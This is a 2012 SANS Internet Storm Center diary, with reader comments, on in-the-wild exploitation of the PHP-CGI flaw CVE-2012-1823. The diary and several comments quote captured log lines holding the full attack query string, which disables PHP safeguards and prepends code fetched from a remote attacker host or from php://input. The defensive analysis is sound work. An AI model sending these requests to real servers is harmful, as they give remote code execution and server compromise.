Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: PHP vulnerability CVE-2012-1823 being exploited in the wild - SANS Internet Storm Center SANS ISC InfoSec Forums

Watch ISC TV. Great for NOCs, SOCs and Living Rooms: https://isctv.sans.edu

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
PHP vulnerability CVE-2012-1823 being exploited in the wild

Reader Bob detected in his webserver the following string in the access log of his web server:

bas1-richmondhill34-1177669777.dsl.bell.ca - - [24/May/2012:12:17:49 -0700] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt HTTP/1.1" 404 2890 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)"

This string is an attempt to exploit the PHP vulnerability CVE-2012-1823 with the remote execution variant. Let's see what means each of the options invoked:

  • safe_mode=off: PHP disables the capacity of checking if the if the owner of the current script matches the owner of the file to be operated by a file funcionality. This directive has been deprecated on PHP 5.3.0 tree and removed on PHP 5.4.0 tree.
  • disable_functions=null: No function is disabled from the whole amount contained within PHP. This means that insecure functions are available like proc_open, exec, passthru, curl_exec, system, popen, curl_multi_exec and shell_exec. For more information on this functions, please check the PHP manual.
  • allow_url_fopen=on: This directive allows PHP to open files located in http or ftp locations and operate them as a normal file descriptor.
  • allow_url_include=on:This directive allows to include additional PHP code located in a http or ftp URL into the PHP file before being processed and executed.
  • auto_prepend_file=http://81.17.24.82/info3.php: This directive includes the PHP code located in http://81.17.24.82/info3.php and execute it before the code inside index.php.

You can prevent this by using the latest stable PHP version located at the downloads page. If you are using windows, please be careful because you can be affected by the CVE-2012-2376. For more information regarding remediation on this vulnerability, please check my previous diary about it. 

Have you seen such logs in your access.log webserver file? We want to hear about it. Let us know!

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail:msantand at isc dot sans dot org

 Manuel Humberto Santander Pelaacuteez

195 Posts
ISC Handler
May 28th 2012
Thread locked Subscribe May 28th 2012
1 decade ago
Hi,

I found those similars lines on my log from May 18

/var/log/apache2/other_vhosts_access.log.2.gz:www.siretessile.com:80 host-92-26-32-80.as13285.net - - [18/May/2012:19:00:52 +0200] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt HTTP/1.1" 404 1097 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)"

/var/log/apache2/other_vhosts_access.log.2.gz:www.siretessile.com:80 71.216.169.47 - - [18/May/2012:21:42:11 +0200] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt HTTP/1.1" 404 1097 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)"

I think that client is the source of attack. Then on error.log

/var/log/apache2/error.log.2.gz:[Fri May 18 19:00:53 2012] [debug] proxy_util.c(1488): [client 92.26.32.80] proxy: http: found worker http://localhost:8080/ for http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt
/var/log/apache2/error.log.2.gz:[Fri May 18 19:00:53 2012] [debug] proxy_util.c(2046): proxy: connecting http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt to localhost:8080
/var/log/apache2/error.log.2.gz:[Fri May 18 19:00:53 2012] [debug] proxy_util.c(2139): proxy: connected /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt to localhost:8080
/var/log/apache2/error.log.2.gz:[Fri May 18 21:42:16 2012] [debug] proxy_util.c(1488): [client 71.216.169.47] proxy: http: found worker http://localhost:8080/ for http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt
/var/log/apache2/error.log.2.gz:[Fri May 18 21:42:16 2012] [debug] mod_proxy_ajp.c(575): proxy: AJP: declining URL http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt
/var/log/apache2/error.log.2.gz:[Fri May 18 21:42:16 2012] [debug] mod_proxy_http.c(1937): proxy: HTTP: serving URL http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt
/var/log/apache2/error.log.2.gz:[Fri May 18 21:42:16 2012] [debug] proxy_util.c(2046): proxy: connecting http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt to localhost:8080
/var/log/apache2/error.log.2.gz:[Fri May 18 21:42:16 2012] [debug] proxy_util.c(2139): proxy: connected /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt to localhost:8080

How to know what was inside info3.txt ?

Regards
 Anonymous
Quote May 28th 2012
1 decade ago
This blog entry provides a lot of detail about this, including the content of info3.txt and even info2.txt:
http://huguesjohnson.com/programming/hacking-attempt/

It is dated May 20th
 Anonymous
Quote May 28th 2012
1 decade ago
We found similar log entries today, May 28.

/var/www/logs/access_log:61.63.20.133 - - [28/May/2012:02:34:29 +0200] "GET /index.php?-n+-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp://www.kihlborg.se/en/popups.txt+ HTTP/1.1" 200 18092
/var/www/logs/access_log:66.147.240.192 - - [28/May/2012:02:35:08 +0200] "GET /index.php?-n+-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp://www.kihlborg.se/en/popups.txt+ HTTP/1.1" 200 18092

Inside the file www.kihlborg.se/en/popups.txt is this:
<?php echo(63416);echo(214353451);echo(214353451);echo(8538568);exit;?>

Regards
 JanS

10 Posts
Quote May 28th 2012
1 decade ago
thank you for this info i will be checking my PHP logs to see if the same has come across
sincerely,
http://mjddesign.wordpress.com
 Matthew

15 Posts
Quote May 29th 2012
1 decade ago
I have quite a few:
http://pastebin.com/xHCr031f
 fukawi2

2 Posts
Quote May 29th 2012
1 decade ago
I have a server with PHP52 and applied the backport-patch (via FreeBSD-ports). But the webs are still vulnerable to the above.
The rewrite-rule seems to stop them - or blocking the net in Panama where the external code is downloaded from.
 fukawi2
1 Posts
Quote May 29th 2012
1 decade ago
From May 16, only in access_log* (nothing in error_log*):

/var/log/httpd/access_log.2:85.114.141.40 - - [16/May/2012:10:25:40 -0400] "POST //?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input+-d+safe_mode%3d1+-d+suhosin.simulation%3d1+-d+disable_functions%3d%22%22+-d+open_basedir%3dnone+-n HTTP/1.1" 200 1406 "-" "-"
 fukawi2
1 Posts
Quote May 29th 2012
1 decade ago
The earliest one in my WAF log is 5/10/2012 (a day before the CVE posting), and they all are trying a POST. And we don't even use PHP, at all.
 Shane

7 Posts
Quote May 29th 2012
1 decade ago

Sign Up for Free or Log In to start participating in the conversation!